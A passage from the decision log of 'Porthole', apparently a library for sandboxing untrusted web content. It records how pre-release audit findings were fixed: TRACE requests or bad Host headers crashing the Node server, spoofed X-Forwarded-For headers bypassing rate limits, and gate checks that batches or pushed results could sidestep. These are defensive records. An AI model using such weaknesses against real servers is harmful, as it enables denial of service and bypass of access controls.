|
+
that were themselves intersections could pass them: a problem, not a mount that fails). A name
|
|
3352
|
+
whose rule is the output's `*`'s (on both read and write) gets none of its own, which is exact;
|
|
3353
|
+
the bound doesn't count on it.
|
|
3354
|
+
6. **Rules hold for a collection's name in any case** (review, medium; older than this entry).
|
|
3355
|
+
Under `{ votes: { write: owner } }` an interact viewer was refused `votes/a` and allowed
|
|
3356
|
+
`Votes/a`, which a store that folds case takes for the same document (P091 folded `data` only).
|
|
3357
|
+
`dbRuleOf` takes the exact-case rule (the name's own, else `*`), then makes it stricter by
|
|
3358
|
+
every rule that names the collection in another ASCII case. It is never looser than the
|
|
3359
|
+
exact-case lookup, and the same where nothing names the collection in another case (a test
|
|
3360
|
+
compares the two over `*`, `votes` and `Votes`, each absent or one of six rules, every spelling,
|
|
3361
|
+
level and op). The first cut ignored `*` where only a variant was named: under
|
|
3362
|
+
`{ "*": { write: owner }, Votes: { write: interact } }` an interact viewer wrote `votes/x`,
|
|
3363
|
+
which `*` had refused; the re-review caught it, and `*` now counts whenever the exact name is
|
|
3364
|
+
absent. A publish that names a collection in two cases is refused (`dbRulesProblem`), while a
|
|
3365
|
+
stored one from before is still shown. The intersection gives one name for each name in any
|
|
3366
|
+
case, spelled as the version spells it: exact where both sides spell each collection alike;
|
|
3367
|
+
where they spell one differently (an old version's `Votes`, the current `votes`), it may be
|
|
3368
|
+
stricter than both (another spelling also counts `*`), never looser. Accepted: a page that
|
|
3369
|
+
renames a collection's case across publishes is rare, and a stricter old version is safe.
|
|
3370
|
+
Paths are passed as the page wrote them: lowercasing them would change what 0.7.0's data under
|
|
3371
|
+
camelCase collections means. `defineRuntimeConformance` checks an app's own wall for
|
|
3372
|
+
`Config/main` and `CONFIG/main`.
|
|
3373
|
+
7. **A form that doesn't throw** (review, low). `tryIntersectDeclarations` answers `{ ok: true,
|
|
3374
|
+
declaration }` or `{ ok: false, problems }`, as `declareCapabilities` does, and
|
|
3375
|
+
`intersectDeclarations` is it with a `TypeError`. ADOPTING's snippet calls it before render
|
|
3376
|
+
(a render's throw isn't the mount's, which the React binding catches) and shows a version
|
|
3377
|
+
whose declarations don't intersect as an error: never mounted with `null` (0.6's surface) or
|
|
3378
|
+
with either declaration alone.
|
|
3379
|
+
|
|
3380
|
+
**API.** Compatible, with additions: `tryIntersectDeclarations`; `dbRulesProblem(value, stage?)`
|
|
3381
|
+
(`"publish"` by default, as before). Tighter: `intersectDeclarations` throws a `TypeError` for an
|
|
3382
|
+
input that isn't a declaration's shape (before, the result was undefined); a publish naming a
|
|
3383
|
+
collection twice in different cases is refused; a collection's rule holds for its name in any
|
|
3384
|
+
case. Looser, bounded: a mount takes up to 201 rule names and 400 names a list (an intersection
|
|
3385
|
+
of two pages at the publish limits). Checked declarations (`checkDeclaration`, `declareCapabilities`,
|
|
3386
|
+
the intersection) have no prototype: JSON, structured clone and `toEqual` see them as before, but
|
|
3387
|
+
calling `.hasOwnProperty()` on one, or putting one in a template string (`String(...)`), throws
|
|
3388
|
+
(no `Object.prototype`); use `Object.hasOwn` and `JSON.stringify`. ADOPTING says so.
|
|
3389
|
+
**Threat it re-opens.** None: it narrows what an old version may do to what both declarations
|
|
3390
|
+
allow, and a rule to every spelling of its name. A mount's larger limits re-open no threat: they
|
|
3391
|
+
bound a list a host stored, not one a page sends, and each name is checked as before.
|
|
3392
|
+
**Rejected.**
|
|
3393
|
+
- A field-by-field fallback (a name's `read`, else `*`'s `read`). `dbAccess` doesn't read rules
|
|
3394
|
+
that way, so for a `{}` rule the result would be stricter than both sides (an old version
|
|
3395
|
+
losing access nothing revoked), and there would be a second semantics to keep in step.
|
|
3396
|
+
- Changing `dbAccess` to read field by field: that changes what every stored page's rules mean.
|
|
3397
|
+
- Dropping the version's names the current doesn't give: the current's `*` would then govern
|
|
3398
|
+
alone, looser than the version's own rule.
|
|
3399
|
+
- Refusing `__proto__` or `constructor` as collection names: they are legal segments (P091 kept
|
|
3400
|
+
`__proto__` as a path), and an object without a prototype holds them.
|
|
3401
|
+
- Checking the inputs against the config inside the intersection: it has no config, and the
|
|
3402
|
+
mount checks the result.
|
|
3403
|
+
- Raising the publish limits to fit an intersection: they bound what a page declares; only what
|
|
3404
|
+
is shown is two declarations' worth.
|
|
3405
|
+
- Lowercasing paths, or rule names at publish: 0.7.0's stored data and declarations would mean
|
|
3406
|
+
something else (a `myNotes` collection's documents found under `mynotes`).
|
|
3407
|
+
- Refusing a stored declaration that names a collection in two cases: pages published under 0.7.0
|
|
3408
|
+
would stop showing; the strictest of the variants holds them instead.
|
|
3409
|
+
- Catching inside `intersectDeclarations` and answering `null`: `null` is a page from before 0.7,
|
|
3410
|
+
which gets 0.6's surface.
|
|
3411
|
+
**Revisit when** rules grow beyond read and write by top-level name (nested paths, patterns
|
|
3412
|
+
inside a name), or `dbAccess`'s lookup changes (`dbRuleOf` then changes for both); or names stop
|
|
3413
|
+
being ASCII.
|
|
3414
|
+
|
|
3415
|
+
## P092 · 2026-10-19 · The server's audit findings: a request never ends the Node process, an issue body is bounded · Accepted
|
|
3416
|
+
|
|
3417
|
+
Amends P066 (the issue endpoint, its rate limit) and P070 (`nodeHost`, `toRequest`,
|
|
3418
|
+
`sendResponse`). From the pre-release audit of 0.7.0 (2026-10-19, baseline 264b12fa), items S01
|
|
3419
|
+
and S06, and an independent review of the first fix. Each change has its regression, failing
|
|
3420
|
+
before it: `test/node.test.ts` (servers in a process of their own, `test/node/server.ts`; one
|
|
3421
|
+
test per case) and `test/host-kit.test.ts`.
|
|
3422
|
+
|
|
3423
|
+
**Decision**, by finding:
|
|
3424
|
+
1. **S01: nothing a request does throws out of the Node adapter's listeners, or ends the
|
|
3425
|
+
process.** `toRequest` builds a fetch `Request`, which throws for a method fetch can't carry
|
|
3426
|
+
(`CONNECT`, `TRACE`, `TRACK`) and for a Host or target that is no URL (`Host: a b`, an empty
|
|
3427
|
+
Host, `*`, a broken absolute-form target). It ran in the listener, so one unauthenticated
|
|
3428
|
+
`TRACE` ended the process (exit 1, on the content domain and on the app's own hosts alike). A
|
|
3429
|
+
handler's failure, or a head Node can't write (a header value fetch takes and Node doesn't,
|
|
3430
|
+
`\x01`), rejected inside a `.then`: an unhandled rejection, which ends a Node process too. And
|
|
3431
|
+
Node takes its own `error` listener off a socket before it emits `upgrade`, so a client that
|
|
3432
|
+
reset its upgrade had any refusal written to it end the process with an unhandled
|
|
3433
|
+
`ECONNRESET`. Now:
|
|
3434
|
+
- the conversion is `convert`: 405 for those methods, 400 for anything else it can't take;
|
|
3435
|
+
never a throw (requests and WebSockets alike);
|
|
3436
|
+
- a fetch-style handler's answer goes through one path (`serve`): a sync throw, a rejection, a
|
|
3437
|
+
non-Response or a failed write answers 500, or cuts off a response already started;
|
|
3438
|
+
- `sendResponse` never rejects: no Response, a body already read or locked, or a head Node
|
|
3439
|
+
refuses is a 500 with its own reason phrase;
|
|
3440
|
+
- the app's own listeners (`request`, `upgrade`, `appSocket`, `nodeServer`'s `request`) are
|
|
3441
|
+
called through `callApp`: a throw, or an async listener's rejection, answers 500 or closes
|
|
3442
|
+
the socket;
|
|
3443
|
+
- every upgrade socket gets an `error` listener first (it closes the socket);
|
|
3444
|
+
- **`onError(error, request)`** (new, on `nodeHost`, `nodeServer` and `nodeListener`) hears
|
|
3445
|
+
what failed on the app's side, once the client has its 500; by default a process warning
|
|
3446
|
+
(`process.emitWarning`). The client never reads it;
|
|
3447
|
+
- **`nodeListener(app, { scheme, onError })`** (new): a fetch-style app as a Node listener
|
|
3448
|
+
with the same guarantees (`nodeServer`'s `app`; the reference app uses it, as adopters
|
|
3449
|
+
should, ADOPTING). `toRequest` and `sendResponse` stay for callers who convert themselves.
|
|
3450
|
+
2. **S06: the issue endpoint reads at most `ISSUE_BODY_BYTES` (64 KiB, exported from `/server`)
|
|
3451
|
+
of its body.** It read and parsed the whole body after `viewerOf`, which may rightly say no
|
|
3452
|
+
one (a public link, P046), and before `access`: an unauthenticated request cost memory and
|
|
3453
|
+
time in its size. The body is now read as it arrives, counting the bytes read: past the limit
|
|
3454
|
+
the read stops, the body is cancelled, and the answer is `413 too-large`. A Content-Length over
|
|
3455
|
+
the limit is refused before the viewer is asked or a byte read; a Content-Length is never the
|
|
3456
|
+
bound (absent, chunked, or under the truth, the bytes read are counted). Bad JSON, an empty
|
|
3457
|
+
body and a body that breaks off stay `400 bad-json`. Anonymous public access is unchanged: the
|
|
3458
|
+
order (viewer, rate limit, body, `instance`, `access`) stays, since `access` needs the
|
|
3459
|
+
instance the body names.
|
|
3460
|
+
3. **On Node, a body no one reads is dropped, bounded, before the connection closes.** Closing at
|
|
3461
|
+
once (the first fix said `Connection: close`) resets the connection while the client is still
|
|
3462
|
+
sending, and the 413 with it (measured: a client that sends its body after the answer gets
|
|
3463
|
+
`EPIPE` and no 413). Now `toRequest`'s body is read only as it is pulled, and cancelling it
|
|
3464
|
+
drops the rest rather than destroy the request; once an answer is out, what is left of the
|
|
3465
|
+
body is read and dropped, at most 1 MiB (`DROP_BYTES`) and 5 s (`DROP_MS`), then the
|
|
3466
|
+
connection closes; a body dropped whole leaves it to go on (keep-alive).
|
|
3467
|
+
4. **What a request leaves behind stops with it** (the review's findings in the same code):
|
|
3468
|
+
- **HEAD**: Node writes no body for HEAD, so the head waited for a body that may never end and
|
|
3469
|
+
the body was pulled without backpressure (one HEAD to an event stream starved the server).
|
|
3470
|
+
`sendResponse` now sends the head, cancels the body and ends.
|
|
3471
|
+
- **A client gone before the answer**: `sendResponse` saw no `close` (it had fired) and waited
|
|
3472
|
+
on a drain that never came, so the body was never cancelled. Now a response already
|
|
3473
|
+
destroyed cancels the body and writes nothing, and the wait checks it too. `nodeListener`'s
|
|
3474
|
+
requests carry the same signal as `nodeHost`'s (aborted when the client leaves).
|
|
3475
|
+
- **A reserved label's POST through `nodeHost`** hung (pre-existing): `Readable.toWeb` took
|
|
3476
|
+
the body before `content.fetch` said the label was the app's. `nodeHost` now asks
|
|
3477
|
+
`content.owns` first, and the body is read only when pulled (item 3), so the app's listener
|
|
3478
|
+
gets the request whole.
|
|
3479
|
+
5. **The issue endpoint's rate limit keys an anonymous viewer by an address the host trusts**
|
|
3480
|
+
(pre-existing): it took `CF-Connecting-IP` or `X-Forwarded-For`, which any client sets, so a
|
|
3481
|
+
new value was a new allowance. The default never reads `X-Forwarded-For`: the address is the
|
|
3482
|
+
socket's peer, which the Node adapter leaves on the fetch request under a symbol no client can
|
|
3483
|
+
send (`src/server/peer.ts`, no Node API in `/server`); on Workers `CF-Connecting-IP`
|
|
3484
|
+
(Cloudflare's edge sets it; a request has `cf` only there); otherwise none known, one key for
|
|
3485
|
+
every anonymous request. Behind proxies, `rateLimit.trustedProxies: n` (new) takes the
|
|
3486
|
+
`X-Forwarded-For` entry the outermost of `n` proxies appended (the entries before it are the
|
|
3487
|
+
client's to write), or `rateLimit.key` keys it as the app likes. Without either, every
|
|
3488
|
+
anonymous request through a proxy shares the proxy's address: limited together, never
|
|
3489
|
+
bypassed. An IPv6 address counts by its /64 (a host or a subscriber is given a /64, so a key
|
|
3490
|
+
per address would let one client rotate through enough keys to wipe every bucket); an
|
|
3491
|
+
IPv4-mapped one as its IPv4. `trustedProxies` is safe only where the app can't be reached but
|
|
3492
|
+
through those proxies (a direct client writes the counted entry); where the peer is unknown
|
|
3493
|
+
(another adapter, a rebuilt `Request`), every anonymous request shares one key, and ADOPTING
|
|
3494
|
+
says to set `key` there.
|
|
3495
|
+
|
|
3496
|
+
**Threat it re-opens.** None: each closes a way an unauthenticated request could stop or load
|
|
3497
|
+
the host, or pass its rate limit. A proposal over 64 KiB is refused where it was taken (the
|
|
3498
|
+
largest real one, an MCP view's declared egress, is a few KiB). Behind a proxy with no
|
|
3499
|
+
`trustedProxies` or `key`, anonymous viewers share one allowance (stricter than before).
|
|
3500
|
+
**Why.** Availability is the host's: a library the app mounts on its server must not give any
|
|
3501
|
+
client a way to end that server's process (it hosts the app's own business), to hold its
|
|
3502
|
+
connections or its memory before anyone is known to be asking, or to choose its own rate limit.
|
|
3503
|
+
**Rejected.**
|
|
3504
|
+
- A process-wide `uncaughtException` / `unhandledRejection` handler: it hides the app's own bugs,
|
|
3505
|
+
is the app's to install, and leaves the process in an unknown state.
|
|
3506
|
+
- Answering a failure silently (the first fix): the app's own bugs became 500s no one heard.
|
|
3507
|
+
Re-emitting them as the server's `error` event: with no listener, that ends the process.
|
|
3508
|
+
- 501 for `TRACE` (RFC 9110 calls it apt for a method no resource supports): the audit and the
|
|
3509
|
+
fetch adapters compared (Hono's answers 400 for any request it can't convert) use 4xx; 405 goes
|
|
3510
|
+
without `Allow`, since the adapter can't know which methods the app's resource takes.
|
|
3511
|
+
- Refusing anonymous issue requests, or asking `access` before reading: public links are an
|
|
3512
|
+
existing feature (P046), and `access` needs the instance the body names.
|
|
3513
|
+
- Trusting Content-Length as the bound, or relying on the edge's body limit: a chunked body has
|
|
3514
|
+
no length to check, a client may declare less than it sends, and an edge may set no limit (or
|
|
3515
|
+
one far above 64 KiB).
|
|
3516
|
+
- `Connection: close` on an answer before the body (the first fix): see item 3. Dropping an
|
|
3517
|
+
unbounded rest (Node's own `_dump`): a client could make the server read forever.
|
|
3518
|
+
- Trusting `X-Forwarded-For` by default, or its first entry: a client writes it.
|
|
3519
|
+
- An option for the body limit: no proposal comes near it.
|
|
3520
|
+
**Revisit when** a document kind carries more than a few KiB in its proposal (then a per-kind limit
|
|
3521
|
+
or an option); a host needs a larger drop to answer large uploads (`DROP_BYTES`); or Node keeps an
|
|
3522
|
+
upgrade socket's error listener.
|
|
3523
|
+
|
|
3524
|
+
## P094 · 2026-10-19 · The 2026-10-19 audit's gate findings: a page's names hold without a viewer, a kept result is a read, a batch is its writes' gates · Accepted
|
|
3525
|
+
|
|
3526
|
+
Amends P079 (a result passed to `changed` answers the next read past the read's gates), P086 (the
|
|
3527
|
+
names in a page's `data` hold whether or not the host gave a viewer) and P091 (items 3 and 4: a db
|
|
3528
|
+
batch and a watch run under the gates of what they run, not only its levels). Findings S03, S04
|
|
3529
|
+
and C01 of the audit at 264b12fa; each with its regression (`test/audit-gates.test.ts`,
|
|
3530
|
+
`leak/served/runtime.spec.ts`) and, for S03 and S04, a negative control.
|
|
3531
|
+
|
|
3532
|
+
**Decision**, by finding:
|
|
3533
|
+
1. **S03: a page's names are its declaration's word, not the viewer's.** The bridge checked the
|
|
3534
|
+
resources and tools a page's `data` names only after the viewer's level, and a display without
|
|
3535
|
+
a viewer returned before it: under a runtime, a page that declared `app://allowed` alone read
|
|
3536
|
+
`app://outside-list` whenever the host gave no viewer (a view-level read, which P091 item 6
|
|
3537
|
+
lets run). The names are now decided apart from the level, and a declaration is held with a
|
|
3538
|
+
viewer and without one alike (`undeclared` either way, before any handler). Unchanged: without
|
|
3539
|
+
a viewer, anything above view is still `level` (a tool call, inside the list or not), the
|
|
3540
|
+
runtime's own host functions are still refused, and a display with no declaration, or the
|
|
3541
|
+
host's `null` for a page from before 0.7, or a config without a runtime, reads as 0.6 did (the
|
|
3542
|
+
host's handlers decide what a URI names).
|
|
3543
|
+
2. **S04: a kept result answers a read only past the read's gates.** The frame's live data kept a
|
|
3544
|
+
result the host gave (`changed(result)` on a subscription, or the fresh read after a stale
|
|
3545
|
+
answer) and answered the next `resources/read` with it in the adapter, before the bridge: with
|
|
3546
|
+
`readData` stricter than `subscribeData` (a level, a consent, a rate, a gesture), a person who
|
|
3547
|
+
may follow but not read got the data once the host pushed it. Now every read goes through
|
|
3548
|
+
`bridge.call("readData")`; a kept result rides it (`CallOptions.held: { uri, value }`) and is
|
|
3549
|
+
the answer after every gate a read has (level, names, mute, rate, gesture, consent, confirm),
|
|
3550
|
+
with no handler, no cache and no upstream call; a `uri` that isn't the read's is refused
|
|
3551
|
+
(`invalid`: a custom adapter that mixed its keys gets no other URI's data), and `held` means
|
|
3552
|
+
nothing for any other capability. P079's "without the read handler" stays true: a host may still
|
|
3553
|
+
serve reads from pushes alone. A kept result is used once; one the gates refused is kept for
|
|
3554
|
+
the next read unless a newer one came or the subscription ended. Each read it answers counts
|
|
3555
|
+
against `readData`'s rate, as a cold read does (a stale answer and the fresh read behind it
|
|
3556
|
+
count as before).
|
|
3557
|
+
3. **C01: a batch runs under its writes' gates, a watch under its read's (inherit, decided).**
|
|
3558
|
+
`methodGates` were applied by the call's own method only, so `delete: ["confirm"]` asked
|
|
3559
|
+
nothing for a batch holding the same delete, and `get: ["consent"]` nothing for a watch of the
|
|
3560
|
+
same document. A call now runs under the gates of every method it runs (`methodsOfCall`, the
|
|
3561
|
+
same list its level is taken from since P091 item 4): a db `batch` under its own and each of
|
|
3562
|
+
its writes' (`set`, `update`, `delete`), a `watch` under its own and `get`'s (a document) or
|
|
3563
|
+
`query`'s (a collection). A batch that needs a confirmation is confirmed once, whole (the
|
|
3564
|
+
request carries every write, and the default dialog shows them all); a write's rate counts
|
|
3565
|
+
each write against that method's own count, shared with its direct calls (a batch of three
|
|
3566
|
+
sets is three sets; a batch past the rate is refused whole). The manual says so where any db
|
|
3567
|
+
method has gates of its own ("db.batch(writes) needs what each of its writes needs",
|
|
3568
|
+
"db.onSnapshot needs what get … or query … needs"); the contract's own db methods have none, so
|
|
3569
|
+
a default config is unchanged. `methodGates.batch` and `.watch` still add gates of their own;
|
|
3570
|
+
neither takes the writes' away. The confirmation names what asked (`ConfirmRequest.askedBy`:
|
|
3571
|
+
the methods whose own gates want the yes), and the default dialog leads a db change with it,
|
|
3572
|
+
above the details that scroll ("Delete n/x, n/y; and 48 other writes.", at most ten paths a
|
|
3573
|
+
kind, then a count), so a gated delete is never the fiftieth line of a JSON block. A watch is
|
|
3574
|
+
checked when it starts, and its updates are its answers: a rate counts once per watch, as a
|
|
3575
|
+
subscription's does, not per update.
|
|
3576
|
+
- **Public API**: `CallOptions` gains `held` and `ConfirmRequest` gains `askedBy` (both optional,
|
|
3577
|
+
additive). The bridge's order: names come with the level check, before mute and the gates; for
|
|
3578
|
+
a read, a kept result is the last step, where the handler would be.
|
|
3579
|
+
- **Harness**: the served harness's host keeps each runtime subscription's `changed` so a case can
|
|
3580
|
+
push a result as a host does (`window.runtimePushes`). Two new negative controls:
|
|
3581
|
+
`runtime-data-names` (264b12fa's hole put back exactly: the no-viewer branch's names check; the
|
|
3582
|
+
probe checks each viewer softly, so its case with a viewer is seen still passing) and
|
|
3583
|
+
`live-held-read` (a kept result answered in the adapter again), each failing its one probe on
|
|
3584
|
+
Chromium, WebKit and Firefox (`scripts/controls.ts`).
|
|
3585
|
+
|
|
3586
|
+
**Threat it re-opens.** None: each change refuses more. Hosts see the difference only where they
|
|
3587
|
+
relied on what the audit found: a no-viewer runtime display reading names its page didn't declare;
|
|
3588
|
+
a read gated more strictly than its subscription answered from a push; db `methodGates` on the
|
|
3589
|
+
base methods that a batch or a watch skipped. A widget answered from frequent pushes now spends
|
|
3590
|
+
`readData`'s rate per read (the live widget preset's 120 a minute); a host that pushes faster
|
|
3591
|
+
raises it.
|
|
3592
|
+
|
|
3593
|
+
**Why.** Each was a wall the entries claimed but a second path went around: P086 says the bridge
|
|
3594
|
+
holds a resource the page's `data` doesn't name on every path, and the viewer's absence was one
|
|
3595
|
+
path past it; P079's kept result was an answer no gate saw; P091 item 4 made a batch its writes and
|
|
3596
|
+
a watch its read for levels, and the same reasoning holds for gates (what a person must confirm
|
|
3597
|
+
for a delete they must confirm for a batch that deletes). Inheriting is the safe default and
|
|
3598
|
+
breaks no documented contract: `methodGates` were documented per method name, and nothing said a
|
|
3599
|
+
batch escapes its writes' gates.
|
|
3600
|
+
**Rejected.**
|
|
3601
|
+
- S03: refusing every data call without a viewer under a runtime: P091 item 6 lets view-level
|
|
3602
|
+
reads run without one, which hosts with no viewer identity use; the names, not the reads, were
|
|
3603
|
+
the hole.
|
|
3604
|
+
- S03: leaving names to the host's handler: the declaration is Porthole's promise (P086), and the
|
|
3605
|
+
handler's own list is a second wall, not the first.
|
|
3606
|
+
- S04: never keeping results (always reading upstream again): P079 lets a host answer reads from
|
|
3607
|
+
pushes alone, and a read per change doubles the host's load to gate what it already sent.
|
|
3608
|
+
- S04: a separate `authorize` method the adapter calls before serving the kept result: two paths
|
|
3609
|
+
the mute, gesture and confirmation steps would have to stay in step across; one `call` holds
|
|
3610
|
+
them.
|
|
3611
|
+
- S04: gating the push by `readData`'s gates: the push reaches the frame only as a URI
|
|
3612
|
+
(`notifications/resources/updated`); the data reaches it only through a read, which is where
|
|
3613
|
+
the read's gates belong.
|
|
3614
|
+
- C01: keeping the gates independent, with documentation and a config diagnostic asking hosts to
|
|
3615
|
+
restate them on `batch` and `watch`: a warning is easy to miss and the trap stays the default;
|
|
3616
|
+
the safe default needs no second field.
|
|
3617
|
+
- C01: a confirmation per write: one atomic change asked as many times; the person decides on the
|
|
3618
|
+
whole batch, shown whole.
|
|
3619
|
+
- C01: counting a batch once against each write method's rate: 50 deletes would cost one, past a
|
|
3620
|
+
rate set on deletes.
|
|
3621
|
+
- C01: checking a watch's gates again at each update, ending it with a refusal when they fail
|
|
3622
|
+
(as S04's reads are): nothing they read can turn while the watch lives. The viewer and the
|
|
3623
|
+
declaration are the frame's bridge's; the consent answer is the display's, kept by
|
|
3624
|
+
`onceConsent` (a yes stays a yes); a new page or frame ends the watch (P091 item 8). The other
|
|
3625
|
+
gates ask for what an update can't give (a gesture, a yes per change), and a rate per update
|
|
3626
|
+
would end a watch for the page's data changing, not for anything the page did. S04 differs:
|
|
3627
|
+
there a second host function's weaker gates handed data to the read's path.
|
|
3628
|
+
**Tested.** `test/audit-gates.test.ts`: S03 (the same names judgement with no viewer, `view` and
|
|
3629
|
+
`owner`; reads, subscriptions, tools; above view still `level` without a viewer; no declaration,
|
|
3630
|
+
`null`, no runtime as before); S04 (a pushed result past a stricter level, rate, consent and
|
|
3631
|
+
gesture; the cache and the fresh read behind it; an admin, and a host with no read handler, still
|
|
3632
|
+
answered from the push, once); C01 (a confirmed delete inside a batch, one confirmation showing
|
|
3633
|
+
every write, naming the delete that asked; the default dialog leading with it above the scrolled
|
|
3634
|
+
details; a gesture, a consent and a rate on writes inside a batch, each write counted; a watch
|
|
3635
|
+
under get's or query's; the manual's words; a held result for another URI refused). `leak/served/runtime.spec.ts`: "a resource outside
|
|
3636
|
+
the page's data names: refused with a viewer and without one, its handler never asked" (control
|
|
3637
|
+
`runtime-data-names`), "a read above the viewer's level: a result the host pushed is refused as a
|
|
3638
|
+
cold read is" (control `live-held-read`), on Chromium, WebKit and Firefox; both fail at 264b12fa.
|
|
3639
|
+
**Revisit when** a host needs a batch exempt from a gate its writes have (then an explicit opt-out
|
|
3640
|
+
named on `batch`, with its own entry), a runtime method comes to run others besides a batch and a
|
|
3641
|
+
watch (`methodsOfCall` grows with it), MCP Apps standardizes a subscription that carries data to
|
|
3642
|
+
the view itself (then that channel needs the read's gates), or a host can withdraw consent or
|
|
3643
|
+
change a viewer's level within a display (then each watch's update, and each kept result, is
|
|
3644
|
+
checked again, and a withdrawal ends the watch with a refusal).
|
|
3645
|
+
|
|
3646
|
+
## P102 · 2026-10-19 · A threat model, use by use; the display layer first, the app runtime an optional layer over it · Accepted
|
|
3647
|
+
|
|
3648
|
+
The 2026-10-19 value and per-scenario assessment (baseline 264b12fa) and its follow-up. No
|
|
3649
|
+
document said whom Porthole defends against, what is out of scope, or, for each way of using it,
|
|
3650
|
+
what Porthole guarantees and what is left to the host: the facts were spread over DESIGN.md's
|
|
3651
|
+
tables, ADOPTING.md's notes and many entries here. And since 0.7 the README presented the
|
|
3652
|
+
capability runtime (P085–P090) as part of what Porthole is, so a host that only shows a chart card
|
|
3653
|
+
met the whole platform's concepts and responsibilities.
|
|
3654
|
+
|
|
3655
|
+
**Decision.**
|
|
3656
|
+
1. **docs/THREAT_MODEL.md**: the assets; the attackers, (a) an agent steered by prompt injection,
|
|
3657
|
+
(b) a third-party MCP server's view, (c) the author of a page others open (a public link's
|
|
3658
|
+
visitors, or a page on a sibling label), (d) a previewed app, (e) other content on the same
|
|
3659
|
+
page; the two lines of defense (origin isolation against attacks on the host; closed egress,
|
|
3660
|
+
gates and approvals outside the frame against leaking and deceiving) and, under the runtime,
|
|
3661
|
+
the host's API as the wall for its data; what is out of scope; what every host must do; and
|
|
3662
|
+
for each use, S1 inline widgets, S2 live widgets, S3 private artifacts, S4 public links and
|
|
3663
|
+
pages that are apps, S5 third-party MCP Apps, S6 url-mode previews, S7 several displays on one
|
|
3664
|
+
page, what Porthole guarantees, what the host must do, and what is not guaranteed. Every claim
|
|
3665
|
+
was checked against the code of `main` with P092, P093 and P094 (9ace866); the citations are in
|
|
3666
|
+
the pull request, not the doc, so the doc doesn't rot with line numbers. A gap with a planned
|
|
3667
|
+
fix says "open until P0xx", and §8 lists those decisions (P092–P103) with what each closes, so
|
|
3668
|
+
each merge turns its notes into guarantees.
|
|
3669
|
+
2. **Two layers, the display first.** The display layer (the presets, isolation, egress, the shell,
|
|
3670
|
+
the gated host functions, the manual: P001's mechanisms and presets together) is what most hosts
|
|
3671
|
+
need. The app runtime is an optional layer over it, off unless a config sets `runtime`, and it
|
|
3672
|
+
adds the host's backend to the trust picture: its API's checks, per-version declarations,
|
|
3673
|
+
revocation, each person's data. A host that only shows content can skip it. The README leads
|
|
3674
|
+
with the display layer and introduces the runtime as optional; ARCHITECTURE.md, ADOPTING.md,
|
|
3675
|
+
DESIGN.md and the package's README link the doc. No API changes.
|
|
3676
|
+
3. **What every host must do**, said once: send the page's `frame-src` and run
|
|
3677
|
+
`defineHostConformance`; keep the default gates (a config's `gates`, or a preset's
|
|
3678
|
+
`options.capabilities` entry, replaces them whole); give its own confirmations and consent the
|
|
3679
|
+
default dialog's protections; show what content reports only as text; list every app origin;
|
|
3680
|
+
under the runtime, run `defineRuntimeConformance` with `api`.
|
|
3681
|
+
4. **Out of scope, named**: availability in the viewer's browser (no watchdog, no CPU or memory
|
|
3682
|
+
limit; an opaque frame may share the host's process), bugs in the browser's own walls, engines
|
|
3683
|
+
and WebViews the suite doesn't run, side channels between processes, markdown-image exfiltration
|
|
3684
|
+
in a chat's renderer of model text, deceptive content, wrong results, malicious prompts, and the
|
|
3685
|
+
sense of an action a person confirmed. In scope stay a page or a request that can crash the
|
|
3686
|
+
host's server, and a message from content that makes the host's page do unbounded work.
|
|
3687
|
+
SECURITY.md says both, and links the doc.
|
|
3688
|
+
5. **The composition rule**: a page's egress is the union of its frames' egress, since any frame
|
|
3689
|
+
can `postMessage` any other on its page. Said once (S7) with what may sit beside a display that
|
|
3690
|
+
reads data; ADOPTING.md's live-widget section links it. Porthole doesn't enforce it
|
|
3691
|
+
(`defineDisplays` takes any kinds together).
|
|
3692
|
+
6. A change that alters what the doc says a use guarantees or leaves to the host updates the doc in
|
|
3693
|
+
the same change, as DESIGN.md's tables are.
|
|
3694
|
+
- An independent review of the first draft found nine claims wider than the code (among them:
|
|
3695
|
+
Porthole's cookies kept from every app relay, where a host's own WebSocket relay gets them; the
|
|
3696
|
+
four CDNs of `LIBRARY_CDNS`, which reaches nine origins; the default dialog's text credited to
|
|
3697
|
+
the bridge), host duties it left out, and terms it didn't explain (clean address, entered mark,
|
|
3698
|
+
sealed files address, bearer mode). Each is fixed in the doc.
|
|
3699
|
+
|
|
3700
|
+
**Threat it re-opens.** None: documentation only; no default, gate or wall changes.
|
|
3701
|
+
**Why.** A host deciding whether Porthole fits a use needs that use's guarantees and duties in one
|
|
3702
|
+
place, in plain sentences, with what is still open said as open; and a host that only shows
|
|
3703
|
+
untrusted HTML shouldn't have to take on the app runtime's concepts and duties to get started.
|
|
3704
|
+
**Rejected.**
|
|
3705
|
+
- Per-scenario ratings (strong, medium, weak): a grade goes stale with each fix and hides which
|
|
3706
|
+
duty it depends on; the doc says what holds, what the host must do, and what is open instead.
|
|
3707
|
+
- Growing DESIGN.md § Threat model into it: DESIGN.md is the mechanism's long form, by defense;
|
|
3708
|
+
adopters read by use. DESIGN.md keeps its two-class summary and links the doc.
|
|
3709
|
+
- Moving the runtime to a subpath of its own now: an API change to fix a reading order. It is
|
|
3710
|
+
already off unless a config sets `runtime`; revisit if its exports weigh on hosts that don't use
|
|
3711
|
+
it.
|
|
3712
|
+
- File and line citations in the doc: they rot with every change; the pull request carries them.
|
|
3713
|
+
- Naming the fixes by their branches: branches are internal and renamed on the remote; decision
|
|
3714
|
+
numbers are what the repository keeps.
|
|
3715
|
+
**Revisit when** each planned decision in §8 merges (its "open until" notes become guarantees,
|
|
3716
|
+
and its row says merged); `defineDisplays` checks which kinds share a page, or a mount checks the
|
|
3717
|
+
page's `frame-src` (S7, S1); the content domain's Public Suffix List entry lands (S3); a preset, a
|
|
3718
|
+
mode or a runtime capability is added (it gets a scenario or a row).
|
|
3719
|
+
|
|
3720
|
+
## P095 · 2026-10-19 · What content says is read after its gate, into bounded text; nothing it sends throws out of an adapter · Accepted
|
|
3721
|
+
|
|
3722
|
+
Amends P091 (finding 2: the rate before the arguments, now for error reports too). From the
|
|
3723
|
+
2026-10-19 audit, S05, with the rest of its class (untrusted frame data processed without bounds
|
|
3724
|
+
before a gate, or a throw that leaves no answer) found after it. Regressions:
|
|
3725
|
+
`test/log-bounds.test.ts` (both adapters over the real bridge), `test/frame-bounds.test.ts` (6–12),
|
|
3726
|
+
`test/runtime.test.ts` and `test/refusals.test.ts` ("P095 …"), `14.error-shapes` (inline and MCP
|
|
3727
|
+
Apps, three engines), negative control `report-unbounded`.
|
|
3728
|
+
|
|
3729
|
+
**Decision**, by finding:
|
|
3730
|
+
1. **S05: an error log was serialized before its gate.** Both adapters ran
|
|
3731
|
+
`JSON.stringify(params.data)` while building `reportError`'s arguments: before the declared check
|
|
3732
|
+
